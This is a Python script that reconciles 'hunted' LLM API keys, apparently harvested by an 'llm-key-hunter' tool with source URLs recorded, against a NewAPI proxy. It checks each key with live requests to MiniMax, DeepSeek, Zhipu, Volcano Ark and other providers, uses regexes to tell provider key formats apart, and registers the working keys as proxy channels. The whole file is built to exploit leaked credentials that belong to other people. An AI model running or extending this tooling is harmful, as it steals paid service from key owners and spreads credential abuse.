701 lines
29 KiB
Python
701 lines
29 KiB
Python
#!/usr/bin/env python3
|
|
"""Reconcile all hunted/vaulted keys against NewAPI.
|
|
|
|
For every key in (a) the vault usable_keys/*/keys.json and (b) all
|
|
results/*/usable.txt buckets:
|
|
* re-verify DIRECT against the provider (real chat completion),
|
|
* match to an existing NewAPI channel by name suffix == key[-6:],
|
|
* classify: CHANNEL_OK / NEEDS_CREATE / NEEDS_FIX / DEAD / NO_BALANCE.
|
|
|
|
NewAPI masks the key field on read, so dedup is ALWAYS by channel name
|
|
suffix (convention: "<ProviderName>_<last6>").
|
|
|
|
Run:
|
|
python3 reconcile_newapi.py --audit # verify + write report (no writes)
|
|
python3 reconcile_newapi.py --apply # create missing + revive/fix + disable dead
|
|
python3 reconcile_newapi.py --providers minimax,zhipu
|
|
python3 reconcile_newapi.py --apply --only-disabled # revive existing disabled chans
|
|
"""
|
|
import argparse, json, os, re, sys, time, urllib.request, urllib.error
|
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
from pathlib import Path
|
|
|
|
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
|
import newapi_client as n
|
|
|
|
H = Path(__file__).resolve().parent / "llm-key-hunter"
|
|
VAULT = H / "usable_keys"
|
|
RESULTS = H / "results"
|
|
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) "
|
|
"Chrome/124.0 Safari/537.36")
|
|
DIRECT = urllib.request.build_opener()
|
|
|
|
|
|
def vcfg(base, path, models, extra=None):
|
|
return dict(base=base, path=path, models=models, extra=extra or {})
|
|
|
|
|
|
# ── provider canonical config ────────────────────────────────────
|
|
# verify: direct endpoint + model candidates to try.
|
|
# chan: how to build the NewAPI channel.
|
|
PROVIDERS = {
|
|
"minimax": dict(
|
|
verify=vcfg("https://api.minimaxi.com/v1", "/text/chatcompletion_v2",
|
|
["MiniMax-M2.5", "MiniMax-M2.7", "MiniMax-M3", "abab6.5s-chat"]),
|
|
chan=dict(prefix="MiniMax", ctype=n.TYPE_OPENAI,
|
|
base="https://api.minimaxi.com",
|
|
models="MiniMax-M2.5,MiniMax-M2.7,MiniMax-M3,abab6.5s-chat")),
|
|
"deepseek": dict(
|
|
verify=vcfg("https://api.deepseek.com", "/chat/completions",
|
|
["deepseek-chat", "deepseek-reasoner"]),
|
|
chan=dict(prefix="DeepSeek", ctype=n.TYPE_OPENAI,
|
|
base="https://api.deepseek.com",
|
|
models="deepseek-chat,deepseek-reasoner")),
|
|
"kimi": dict(
|
|
verify=vcfg("https://api.moonshot.cn/v1", "/chat/completions",
|
|
["moonshot-v1-8k", "moonshot-v1-32k"]),
|
|
chan=dict(prefix="Kimi", ctype=n.TYPE_OPENAI,
|
|
base="https://api.moonshot.cn",
|
|
models="moonshot-v1-8k,moonshot-v1-32k,moonshot-v1-128k")),
|
|
"siliconflow": dict(
|
|
verify=vcfg("https://api.siliconflow.cn", "/v1/chat/completions",
|
|
["Qwen/Qwen2.5-7B-Instruct", "deepseek-ai/DeepSeek-V3"]),
|
|
chan=dict(prefix="SiliconFlow", ctype=n.TYPE_OPENAI,
|
|
base="https://api.siliconflow.cn",
|
|
models="Qwen/Qwen2.5-7B-Instruct,deepseek-ai/DeepSeek-V3")),
|
|
"zhipu": dict(
|
|
# try coding first (paid models), then paas (free glm-4-flash)
|
|
verify=[vcfg("https://open.bigmodel.cn/api/coding/paas/v4", "/chat/completions",
|
|
["glm-4.7-flash", "glm-4.5-air", "glm-4-flash", "glm-5.2"]),
|
|
vcfg("https://open.bigmodel.cn/api/paas/v4", "/chat/completions",
|
|
["glm-4-flash", "glm-4.5-flash"])]),
|
|
"volcanoark": None, # custom 3-plan probe, handled below
|
|
"longcat": dict(
|
|
verify=vcfg("https://api.longcat.chat/openai/v1", "/chat/completions",
|
|
["LongCat-2.0", "Borai/LongCat-2.0"]),
|
|
chan=dict(prefix="LongCat", ctype=n.TYPE_OPENAI,
|
|
base="https://api.longcat.chat/openai",
|
|
models="Borai/LongCat-2.0,LongCat-2.0")),
|
|
"dashscope": dict(
|
|
verify=vcfg("https://dashscope.aliyuncs.com/compatible-mode/v1",
|
|
"/chat/completions", ["qwen-plus", "qwen-turbo", "qwen-max"]),
|
|
chan=dict(prefix="DashScope", ctype=n.TYPE_OPENAI,
|
|
base="https://dashscope.aliyuncs.com/compatible-mode/v1",
|
|
models="qwen-plus,qwen-turbo,qwen-max,qwen3-coder-plus")),
|
|
"freemodel": dict(
|
|
verify=vcfg("https://api.freemodel.dev/v1", "/chat/completions",
|
|
["freemodel_workbuddy/FreeModel", "FreeModel", "gpt-5.6-sol"]),
|
|
chan=dict(prefix="FreeModel", ctype=n.TYPE_OPENAI,
|
|
base="https://api.freemodel.dev/v1",
|
|
models="freemodel_workbuddy/FreeModel,FreeModel,gpt-5.6-sol,gpt-5.6-luna,gpt-5.6-terra,claude-opus-5")),
|
|
"xunfei": dict(
|
|
verify=vcfg("https://maas-coding-api.cn-huabei-1.xf-yun.com/v2",
|
|
"/chat/completions", ["auto", "xopkimik26"]),
|
|
chan=dict(prefix="Xunfei", ctype=n.TYPE_CUSTOM,
|
|
base="https://maas-coding-api.cn-huabei-1.xf-yun.com/v2/chat/completions",
|
|
models="auto,xopkimik26")),
|
|
"mimo": dict(
|
|
verify=vcfg("https://api.xiaomimimo.com/v1", "/chat/completions",
|
|
["mimo-v2.5", "MiMo-7B"]),
|
|
chan=dict(prefix="MiMo", ctype=n.TYPE_OPENAI,
|
|
base="https://api.xiaomimimo.com/v1",
|
|
models="mimo-v2.5,MiMo-7B")),
|
|
"codingplan": None, # volcano coding plan keys (ark-code-latest)
|
|
}
|
|
|
|
|
|
# ── HTTP + classification (mirrors hunt rules) ──────────────────
|
|
def http(base, path, key, body, extra=None, timeout=25):
|
|
url = base + path
|
|
headers = {"Authorization": "Bearer " + key, "User-Agent": UA,
|
|
"Accept": "application/json, */*", "Content-Type": "application/json"}
|
|
if extra:
|
|
headers.update(extra)
|
|
data = json.dumps(body).encode()
|
|
req = urllib.request.Request(url, data=data, headers=headers, method="POST")
|
|
try:
|
|
with DIRECT.open(req, timeout=timeout) as r:
|
|
return r.getcode(), r.read().decode("utf-8", "replace")
|
|
except urllib.error.HTTPError as e:
|
|
try:
|
|
return e.code, e.read().decode("utf-8", "replace")
|
|
except Exception:
|
|
return e.code, ""
|
|
except Exception as e:
|
|
return 0, f"net:{type(e).__name__}"
|
|
|
|
|
|
def msg_of(body):
|
|
try:
|
|
j = json.loads(body)
|
|
except Exception:
|
|
return (body or "")[:160]
|
|
if not isinstance(j, dict):
|
|
return str(j)[:160]
|
|
err = j.get("error")
|
|
if isinstance(err, dict):
|
|
return str(err.get("message", ""))[:160]
|
|
br = j.get("base_resp") or {}
|
|
if isinstance(br, dict) and br.get("status_msg"):
|
|
return str(br.get("status_msg"))[:160]
|
|
return str(j.get("message", ""))[:160]
|
|
|
|
|
|
def classify(code, body):
|
|
"""Return (verdict, detail). verdict in USABLE/DEAD/NO_BALANCE/NO_ACCESS/UNKNOWN."""
|
|
if code == 200:
|
|
try:
|
|
j = json.loads(body)
|
|
except Exception:
|
|
return "UNKNOWN", "200 non-json"
|
|
if isinstance(j, dict) and j.get("choices"):
|
|
return "USABLE", "200 choices"
|
|
br = j.get("base_resp") if isinstance(j, dict) else None
|
|
if isinstance(br, dict) and br.get("status_code") is not None:
|
|
bc = br["status_code"]
|
|
if bc == 0:
|
|
return "USABLE", "200 choices"
|
|
if bc in (1001, 1003, 1004, 1014, 1111, 2049):
|
|
return "DEAD", f"{bc} {br.get('status_msg','')}"
|
|
if bc == 2056:
|
|
return "NO_BALANCE", f"{bc} token plan capped"
|
|
if bc in (1002, 1008, 1013, 1026, 1038, 1045, 1063, 1064, 1082):
|
|
return "NO_BALANCE", f"{bc} {br.get('status_msg','')}"
|
|
return "NO_ACCESS", f"{bc} {br.get('status_msg','')}"
|
|
return "UNKNOWN", "200 no choices"
|
|
if code == 401:
|
|
return "DEAD", f"401 {msg_of(body)}"
|
|
if code in (402, 429):
|
|
return "NO_BALANCE", f"{code} {msg_of(body)}"
|
|
if code == 400:
|
|
m = msg_of(body).lower()
|
|
if any(w in m for w in ("invalid", "unauthor", "api key", "authentication",
|
|
"incorrect", "does not exist", "apikey")):
|
|
return "DEAD", f"400 {msg_of(body)}"
|
|
if any(w in m for w in ("balance", "quota", "insufficient", "limit",
|
|
"payment", "arrears", "exhaust", "credit",
|
|
"not activated", "not enabled", "not subscribe",
|
|
"未开通", "未激活")):
|
|
return "NO_BALANCE", f"400 {msg_of(body)}"
|
|
return "NO_ACCESS", f"400 {msg_of(body)}"
|
|
if code in (403, 404, 422, 451):
|
|
return "NO_ACCESS", f"{code} {msg_of(body)}"
|
|
if code in (500, 502, 503, 520, 524, 0):
|
|
return "UNKNOWN", f"{code} {msg_of(body)}"
|
|
return "UNKNOWN", f"{code} {msg_of(body)}"
|
|
|
|
|
|
def try_cfg(key, cfg):
|
|
"""Try each model in cfg; return (verdict, detail, model_that_worked)."""
|
|
last = "no model"
|
|
for model in cfg["models"]:
|
|
code, body = http(cfg["base"], cfg["path"], key,
|
|
{"model": model, "messages": [{"role": "user", "content": "ok"}],
|
|
"max_tokens": 8, "temperature": 0.01},
|
|
extra=cfg.get("extra"))
|
|
v, d = classify(code, body)
|
|
if v in ("USABLE", "DEAD", "NO_BALANCE"):
|
|
return v, f"{model} {d}", (model if v == "USABLE" else None)
|
|
last = f"{model} {d}"
|
|
return "UNKNOWN", last, None
|
|
|
|
|
|
# ── zhipu: try coding then paas; return endpoint that works ──────
|
|
def verify_zhipu(key):
|
|
coding = vcfg("https://open.bigmodel.cn/api/coding/paas/v4", "/chat/completions",
|
|
["glm-4.7-flash", "glm-4.5-air", "glm-4-flash", "glm-5.2"])
|
|
paas = vcfg("https://open.bigmodel.cn/api/paas/v4", "/chat/completions",
|
|
["glm-4-flash", "glm-4.5-flash"])
|
|
# coding first
|
|
v, d, m = try_cfg(key, coding)
|
|
if v == "USABLE":
|
|
return v, f"coding {d}", ("coding", m)
|
|
if v == "DEAD":
|
|
return v, f"coding {d}", None
|
|
# try paas (free tier may still work even if coding has no balance)
|
|
v2, d2, m2 = try_cfg(key, paas)
|
|
if v2 == "USABLE":
|
|
return v2, f"paas {d2}", ("paas", m2)
|
|
if v2 == "DEAD":
|
|
return v2, f"paas {d2}", None
|
|
# neither usable: prefer the more informative verdict
|
|
if v == "NO_BALANCE" or v2 == "NO_BALANCE":
|
|
return "NO_BALANCE", f"coding={d} | paas={d2}", None
|
|
return v2 or v, f"coding={d} | paas={d2}", None
|
|
|
|
|
|
# ── volcano: probe all 3 plans + PAYGO models ────────────────────
|
|
VOLC_PAYGO_MODELS = [
|
|
"doubao-seed-1-6-250615", "doubao-seed-1-6-flash-250615",
|
|
"doubao-1-5-lite-32k-250115", "doubao-1-5-pro-32k-250115",
|
|
"doubao-seed-2-1-pro-260628", "doubao-seed-2-0-code-preview-260215",
|
|
"doubao-seed-1-8-251228", "doubao-seed-code-preview-251028",
|
|
"deepseek-v4-pro-260425",
|
|
]
|
|
|
|
|
|
def verify_volcano(key):
|
|
"""Probe CODING, AGENT, PAYGO. Return (verdict, detail, planinfo).
|
|
planinfo = dict(coding=bool, agent=bool, paygo=[models])"""
|
|
info = dict(coding=False, agent=False, paygo=[])
|
|
dead = False
|
|
nobal = False
|
|
parts = []
|
|
|
|
# CODING plan
|
|
code, body = http("https://ark.cn-beijing.volces.com/api/coding",
|
|
"/chat/completions", key,
|
|
{"model": "ark-code-latest",
|
|
"messages": [{"role": "user", "content": "ok"}],
|
|
"max_tokens": 8})
|
|
v, d = classify(code, body)
|
|
if v == "USABLE":
|
|
info["coding"] = True; parts.append("coding OK")
|
|
elif v == "DEAD":
|
|
dead = True; parts.append(f"coding DEAD:{d}")
|
|
elif v == "NO_BALANCE":
|
|
nobal = True; parts.append(f"coding nobal:{d}")
|
|
|
|
# AGENT plan
|
|
code, body = http("https://ark.cn-beijing.volces.com/api/plan/v3",
|
|
"/chat/completions", key,
|
|
{"model": "ark-code-latest",
|
|
"messages": [{"role": "user", "content": "ok"}],
|
|
"max_tokens": 8})
|
|
v, d = classify(code, body)
|
|
if v == "USABLE":
|
|
info["agent"] = True; parts.append("agent OK")
|
|
elif v == "DEAD":
|
|
dead = True; parts.append(f"agent DEAD:{d}")
|
|
elif v == "NO_BALANCE":
|
|
nobal = True; parts.append(f"agent nobal:{d}")
|
|
|
|
# PAYGO: sweep model list
|
|
for model in VOLC_PAYGO_MODELS:
|
|
code, body = http("https://ark.cn-beijing.volces.com/api/v3",
|
|
"/chat/completions", key,
|
|
{"model": model,
|
|
"messages": [{"role": "user", "content": "ok"}],
|
|
"max_tokens": 8})
|
|
v, d = classify(code, body)
|
|
if v == "USABLE":
|
|
info["paygo"].append(model)
|
|
elif v == "DEAD":
|
|
dead = True
|
|
break
|
|
if info["paygo"]:
|
|
parts.append("paygo=" + ",".join(info["paygo"]))
|
|
|
|
if info["coding"] or info["agent"] or info["paygo"]:
|
|
return "USABLE", "; ".join(parts), info
|
|
if dead and not (info["coding"] or info["agent"]):
|
|
return "DEAD", "; ".join(parts), info
|
|
if nobal:
|
|
return "NO_BALANCE", "; ".join(parts), info
|
|
return "UNKNOWN", "; ".join(parts), info
|
|
|
|
|
|
def verify_key(prov, key):
|
|
"""Dispatch. Returns (verdict, detail, extra) where extra is endpoint/plan info."""
|
|
if prov == "zhipu":
|
|
return verify_zhipu(key)
|
|
if prov == "volcanoark":
|
|
return verify_volcano(key)
|
|
if prov == "codingplan":
|
|
code, body = http("https://ark.cn-beijing.volces.com/api/coding",
|
|
"/chat/completions", key,
|
|
{"model": "ark-code-latest",
|
|
"messages": [{"role": "user", "content": "ok"}],
|
|
"max_tokens": 8})
|
|
v, d = classify(code, body)
|
|
return v, f"coding {d}", None
|
|
cfg = PROVIDERS.get(prov)
|
|
if cfg and cfg.get("verify"):
|
|
v, d, m = try_cfg(key, cfg["verify"])
|
|
return v, d, m
|
|
return "UNKNOWN", "no verifier", None
|
|
|
|
|
|
# ── load vault + bucket keys ────────────────────────────────────
|
|
NORM = {
|
|
"minimax": "minimax", "deepseek": "deepseek", "kimi": "kimi",
|
|
"moonshot": "kimi", "siliconflow": "siliconflow", "zhipuai": "zhipu",
|
|
"zhipu": "zhipu", "bigmodel": "zhipu", "volcanoark": "volcanoark",
|
|
"volcano": "volcanoark", "volcengine": "volcanoark", "doubao": "volcanoark",
|
|
"longcat": "longcat", "dashscope": "dashscope", "qwen": "dashscope",
|
|
"freemodel": "freemodel", "xunfei": "xunfei", "iflytek": "xunfei",
|
|
"spark": "xunfei", "codingplan": "codingplan", "opencode": "codingplan",
|
|
"mimo": "mimo", "xiaomimimo": "mimo",
|
|
}
|
|
|
|
|
|
def norm(label):
|
|
return NORM.get(label.lower().replace(" ", "").replace("_", "").replace("-", ""))
|
|
|
|
|
|
def load_all_keys():
|
|
"""Returns list of dicts: {prov, key, source, origin}."""
|
|
seen = set()
|
|
out = []
|
|
# vault
|
|
for d in sorted(VAULT.iterdir()):
|
|
kj = d / "keys.json"
|
|
if not d.is_dir() or not kj.exists():
|
|
continue
|
|
try:
|
|
data = json.loads(kj.read_text())
|
|
except Exception:
|
|
continue
|
|
for e in data:
|
|
k = (e.get("key") or "").strip()
|
|
if not k or k in seen:
|
|
continue
|
|
seen.add(k)
|
|
out.append(dict(prov=d.name, key=k, source=e.get("source", ""),
|
|
origin="vault", detail=e.get("detail", "")))
|
|
# buckets
|
|
for f in sorted(RESULTS.glob("*/usable.txt")):
|
|
bucket = f.parent.name
|
|
for line in f.read_text().splitlines():
|
|
line = line.strip()
|
|
if not line or line.startswith("#"):
|
|
continue
|
|
p, k, src = _parse_bucket_line(line, bucket)
|
|
if not p or not k or k in seen:
|
|
continue
|
|
seen.add(k)
|
|
out.append(dict(prov=p, key=k, source=src,
|
|
origin=bucket, detail=""))
|
|
return out
|
|
|
|
|
|
# key patterns by provider, ordered most-specific first
|
|
_KEY_PATTERNS = [
|
|
("minimax", re.compile(r"sk-cp-[A-Za-z0-9_\-]{40,140}")),
|
|
("longcat", re.compile(r"ak_[A-Za-z0-9_-]{20,60}")),
|
|
("freemodel", re.compile(r"fe_oa_[0-9a-fA-F]{20,60}")),
|
|
("mimo", re.compile(r"sk-cx-[A-Za-z0-9]{40,60}")),
|
|
("siliconflow", re.compile(r"sk-[A-Za-z0-9]{48}\b")),
|
|
("deepseek", re.compile(r"sk-[0-9a-fA-F]{32}\b")),
|
|
("dashscope", re.compile(r"sk-[0-9a-fA-F]{32}\b")),
|
|
("codingplan", re.compile(r"sk-sp-[0-9a-fA-F]{32}\b")),
|
|
("kimi", re.compile(r"sk-[A-Za-z0-9]{40,60}\b")),
|
|
("xunfei", re.compile(r"\b[0-9a-fA-F]{32}:[A-Za-z0-9]{20,40}\b")),
|
|
("zhipu", re.compile(r"\b[0-9a-fA-F]{32}\.[A-Za-z0-9]{16}\b")),
|
|
("volcanoark", re.compile(
|
|
r"\b[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-"
|
|
r"[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\b")),
|
|
]
|
|
|
|
|
|
def _parse_bucket_line(line, bucket):
|
|
"""Return (prov, key, src) handling tab/pipe/colon/concatenated formats."""
|
|
# explicit tab: provider<TAB>key<TAB>url
|
|
if "\t" in line:
|
|
parts = line.split("\t")
|
|
if len(parts) >= 2:
|
|
p = norm(parts[0])
|
|
if p:
|
|
return p, parts[1].strip(), (parts[2] if len(parts) > 2 else "")
|
|
# pipe-separated
|
|
if "|" in line:
|
|
parts = [x.strip() for x in line.split("|")]
|
|
first = parts[0]
|
|
p = norm(first)
|
|
if p and len(parts) >= 2:
|
|
return p, parts[1], (parts[2] if len(parts) > 2 else "")
|
|
# no provider prefix -> first field is the key
|
|
key = first
|
|
p = _provider_from_bucket(bucket, key) or _provider_from_key(key)
|
|
return p, key, (parts[1] if len(parts) > 1 else "")
|
|
# colon-separated (xunfei apikey:apisecret)
|
|
if re.match(r"^[0-9a-fA-F]{32}:[A-Za-z0-9]{20,40}", line):
|
|
key = line.split("|")[0]
|
|
return "xunfei", key, ""
|
|
# concatenated: provider label directly followed by key (all_deep/minimax_deep)
|
|
for label, p in [("zhipu_coding", "zhipu"), ("zhipu_paas", "zhipu"),
|
|
("minimax", "minimax"), ("siliconflow", "siliconflow"),
|
|
("deepseek", "deepseek"), ("longcat", "longcat"),
|
|
("dashscope", "dashscope"), ("volcano", "volcanoark")]:
|
|
if line.startswith(label):
|
|
rest = line[len(label):]
|
|
m = _key_regex_for(p).search(rest)
|
|
if m:
|
|
key = m.group(0)
|
|
src_m = re.search(r"https?://\S+", rest[m.end():])
|
|
return p, key, (src_m.group(0) if src_m else "")
|
|
# last resort: regex the whole line for a known key shape
|
|
for p, rx in _KEY_PATTERNS:
|
|
m = rx.search(line)
|
|
if m:
|
|
return p, m.group(0), ""
|
|
return None, None, ""
|
|
|
|
|
|
def _key_regex_for(p):
|
|
for pp, rx in _KEY_PATTERNS:
|
|
if pp == p:
|
|
return rx
|
|
return re.compile(r".+")
|
|
|
|
|
|
def _provider_from_bucket(bucket, key):
|
|
b = bucket.lower()
|
|
mapping = {
|
|
"minimax_deep": "minimax", "deepseek": "deepseek",
|
|
"deepseek_v2": "deepseek", "deepseek_deep": "deepseek",
|
|
"deepseek_recheck": "deepseek", "kimi": "kimi", "kimi_v2": "kimi",
|
|
"freemodel": "freemodel", "xunfei": "xunfei",
|
|
"codingplan": "codingplan", "cn_coding": "longcat",
|
|
"all_deep": None,
|
|
}
|
|
if b in mapping and mapping[b]:
|
|
return mapping[b]
|
|
return _provider_from_key(key)
|
|
|
|
|
|
def _provider_from_key(key):
|
|
for p, rx in _KEY_PATTERNS:
|
|
if rx.match(key):
|
|
return p
|
|
return None
|
|
|
|
|
|
# ── load existing NewAPI channels, index by name suffix ─────────
|
|
CACHE = Path("/tmp/chans.json")
|
|
|
|
|
|
def find_existing(key, by_suffix):
|
|
"""Match a key to existing channels using last-6 and last-4 suffixes.
|
|
New channels use last6; legacy channels use last4 (case-insensitive)."""
|
|
found = []
|
|
for n in (6, 4):
|
|
if len(key) >= n:
|
|
found.extend(by_suffix.get(key[-n:].lower(), []))
|
|
# dedup by id, preserve order
|
|
seen = set()
|
|
out = []
|
|
for c in found:
|
|
if c["id"] not in seen:
|
|
seen.add(c["id"])
|
|
out.append(c)
|
|
return out
|
|
|
|
|
|
def load_channels(force=False):
|
|
"""Returns dict: suffix(lower) -> [chans]. Uses /tmp/chans.json cache
|
|
(full scan is ~2min); rescans if cache missing or --refresh."""
|
|
all_chans = []
|
|
if CACHE.exists() and not force:
|
|
try:
|
|
all_chans = json.loads(CACHE.read_text())
|
|
except Exception:
|
|
all_chans = []
|
|
if not all_chans:
|
|
for cid in range(1, 601):
|
|
try:
|
|
ch = n.get_channel(cid)
|
|
except Exception:
|
|
continue
|
|
if ch and ch.get("id"):
|
|
all_chans.append(ch)
|
|
CACHE.write_text(json.dumps(all_chans))
|
|
by_suffix = {}
|
|
for ch in all_chans:
|
|
name = ch.get("name", "")
|
|
if "_" not in name:
|
|
continue
|
|
suf = name.rsplit("_", 1)[-1].lower()
|
|
# strip trailing -<word> tags (e.g. FreeModel 59e5eb-Anthropic)
|
|
base = suf.split("-")[0]
|
|
for s in {suf, base}:
|
|
if s:
|
|
by_suffix.setdefault(s, []).append(ch)
|
|
return by_suffix, all_chans
|
|
|
|
|
|
# ── channel builders (for --apply) ──────────────────────────────
|
|
def base_channel(name, ctype, base, key, models, test_model=None):
|
|
return {
|
|
"name": name, "type": ctype, "key": key,
|
|
"base_url": base, "models": models,
|
|
"model_mapping": "", "group": "default", "groups": ["default"],
|
|
"auto_ban": 1, "priority": 0, "weight": 0,
|
|
"test_model": test_model or (models.split(",")[0] if models else ""),
|
|
}
|
|
|
|
|
|
def build_channel(prov, key, verdict_detail, extra):
|
|
suf = key[-6:]
|
|
if prov == "zhipu":
|
|
kind = extra[0] if extra else "paas"
|
|
m = extra[1] if extra and len(extra) > 1 else "glm-4-flash"
|
|
if kind == "coding":
|
|
return base_channel(
|
|
f"ZhipuCoding_{suf}", n.TYPE_CUSTOM,
|
|
"https://open.bigmodel.cn/api/coding/paas/v4/chat/completions",
|
|
key, "glm-4.7-flash,glm-4.5-air,glm-4-flash,glm-5.2",
|
|
test_model=m)
|
|
return base_channel(
|
|
f"ZhipuPaaS_{suf}", n.TYPE_CUSTOM,
|
|
"https://open.bigmodel.cn/api/paas/v4/chat/completions",
|
|
key, "glm-4-flash,glm-4.5-flash", test_model=m or "glm-4-flash")
|
|
if prov == "volcanoark":
|
|
info = extra or {}
|
|
chans = []
|
|
if info.get("coding"):
|
|
chans.append(base_channel(
|
|
f"VolcanoCoding_{suf}", n.TYPE_ANTHROPIC,
|
|
"https://ark.cn-beijing.volces.com/api/coding",
|
|
key, "ark-code-latest", test_model="ark-code-latest"))
|
|
if info.get("agent"):
|
|
chans.append(base_channel(
|
|
f"VolcanoAgent_{suf}", n.TYPE_CUSTOM,
|
|
"https://ark.cn-beijing.volces.com/api/plan/v3/chat/completions",
|
|
key, "ark-code-latest", test_model="ark-code-latest"))
|
|
for model in info.get("paygo", []):
|
|
chans.append(base_channel(
|
|
f"VolcanoPAYGO_{suf}_{model.split('-')[-1][:6]}",
|
|
n.TYPE_CUSTOM,
|
|
"https://ark.cn-beijing.volces.com/api/v3/chat/completions",
|
|
key, model, test_model=model))
|
|
return chans if chans else None
|
|
if prov == "codingplan":
|
|
return base_channel(
|
|
f"VolcanoCoding_{suf}", n.TYPE_ANTHROPIC,
|
|
"https://ark.cn-beijing.volces.com/api/coding",
|
|
key, "ark-code-latest", test_model="ark-code-latest")
|
|
cfg = PROVIDERS.get(prov)
|
|
if not cfg or not cfg.get("chan"):
|
|
return None
|
|
c = cfg["chan"]
|
|
return base_channel(f"{c['prefix']}_{suf}", c["ctype"], c["base"],
|
|
key, c["models"])
|
|
|
|
|
|
# ── main ────────────────────────────────────────────────────────
|
|
def main():
|
|
ap = argparse.ArgumentParser()
|
|
ap.add_argument("--audit", action="store_true")
|
|
ap.add_argument("--apply", action="store_true")
|
|
ap.add_argument("--providers", default="")
|
|
ap.add_argument("--workers", type=int, default=24)
|
|
ap.add_argument("--only-disabled", action="store_true",
|
|
help="only re-test keys whose existing channel is disabled")
|
|
args = ap.parse_args()
|
|
if not args.audit and not args.apply:
|
|
args.audit = True
|
|
|
|
print("loading keys + channels...")
|
|
keys = load_all_keys()
|
|
by_suffix, all_chans = load_channels()
|
|
print(f" {len(keys)} unique keys, {len(all_chans)} channels")
|
|
|
|
provf = {p.strip() for p in args.providers.split(",") if p.strip()}
|
|
if provf:
|
|
keys = [k for k in keys if k["prov"] in provf]
|
|
print(f" filtered to {provf}: {len(keys)} keys")
|
|
|
|
# determine which keys to verify
|
|
targets = []
|
|
for k in keys:
|
|
k["_existing"] = find_existing(k["key"], by_suffix)
|
|
existing = k["_existing"]
|
|
if args.only_disabled:
|
|
if existing and any(c.get("status") != 1 for c in existing):
|
|
targets.append(k)
|
|
else:
|
|
targets.append(k)
|
|
if args.only_disabled:
|
|
print(f" {len(targets)} keys with a disabled existing channel")
|
|
|
|
print(f"verifying {len(targets)} keys direct (workers={args.workers})...")
|
|
results = []
|
|
|
|
def work(k):
|
|
v, d, extra = verify_key(k["prov"], k["key"])
|
|
return k, v, d, extra
|
|
|
|
done = 0
|
|
with ThreadPoolExecutor(max_workers=args.workers) as ex:
|
|
futs = [ex.submit(work, k) for k in targets]
|
|
for fut in as_completed(futs):
|
|
k, v, d, extra = fut.result()
|
|
results.append((k, v, d, extra))
|
|
done += 1
|
|
if done % 25 == 0 or done == len(targets):
|
|
print(f" {done}/{len(targets)} verified")
|
|
results.sort(key=lambda r: (r[0]["prov"], r[0]["key"][-6:]))
|
|
|
|
# classify against NewAPI
|
|
report = dict(usable_no_channel=[], usable_channel_disabled=[],
|
|
usable_channel_ok=[], dead=[], no_balance=[],
|
|
unknown=[], to_create=[], to_revive=[], to_disable=[])
|
|
for k, v, d, extra in results:
|
|
existing = k["_existing"]
|
|
rec = dict(prov=k["prov"], suffix=k["key"][-6:], origin=k["origin"],
|
|
source=k["source"], verdict=v, detail=d,
|
|
existing=[(c["id"], c.get("name"), c.get("status"))
|
|
for c in existing])
|
|
if v == "USABLE":
|
|
if not existing:
|
|
report["usable_no_channel"].append(rec)
|
|
ch = build_channel(k["prov"], k["key"], d, extra)
|
|
chs = ch if isinstance(ch, list) else ([ch] if ch else [])
|
|
for c in chs:
|
|
report["to_create"].append(c)
|
|
elif any(c.get("status") != 1 for c in existing):
|
|
report["usable_channel_disabled"].append(rec)
|
|
for c in existing:
|
|
if c.get("status") != 1:
|
|
report["to_revive"].append(c["id"])
|
|
else:
|
|
report["usable_channel_ok"].append(rec)
|
|
elif v == "DEAD":
|
|
report["dead"].append(rec)
|
|
for c in existing:
|
|
if c.get("status") == 1:
|
|
report["to_disable"].append(c["id"])
|
|
elif v == "NO_BALANCE":
|
|
report["no_balance"].append(rec)
|
|
else:
|
|
report["unknown"].append(rec)
|
|
|
|
out = RESULTS / "reconcile.json"
|
|
out.write_text(json.dumps(report, indent=2, ensure_ascii=False))
|
|
|
|
print("\n=== RECONCILE SUMMARY ===")
|
|
print(f" USABLE, no channel: {len(report['usable_no_channel'])}")
|
|
print(f" USABLE, channel disabled: {len(report['usable_channel_disabled'])}")
|
|
print(f" USABLE, channel OK: {len(report['usable_channel_ok'])}")
|
|
print(f" DEAD (401/invalid): {len(report['dead'])}")
|
|
print(f" NO_BALANCE: {len(report['no_balance'])}")
|
|
print(f" UNKNOWN: {len(report['unknown'])}")
|
|
print(f"\n actions: create={len(report['to_create'])} "
|
|
f"revive={len(report['to_revive'])} disable={len(report['to_disable'])}")
|
|
print(f"\nreport -> {out}")
|
|
|
|
if not args.apply:
|
|
print("\n(audit only; pass --apply to execute changes)")
|
|
return
|
|
|
|
# ── APPLY ──
|
|
print("\n=== APPLYING ===")
|
|
# revive
|
|
for cid in sorted(set(report["to_revive"])):
|
|
ok, msg = n.update_channel(cid, status=1)
|
|
print(f" revive {cid}: {'OK' if ok else msg}")
|
|
# create
|
|
for ch in report["to_create"]:
|
|
ok, msg = n.add_channel(ch)
|
|
print(f" create {ch['name']}: {'OK '+msg if ok else 'FAIL '+msg}")
|
|
# disable dead
|
|
for cid in sorted(set(report["to_disable"])):
|
|
ok, msg = n.update_channel(cid, status=2)
|
|
print(f" disable {cid}: {'OK' if ok else msg}")
|
|
print("done.")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|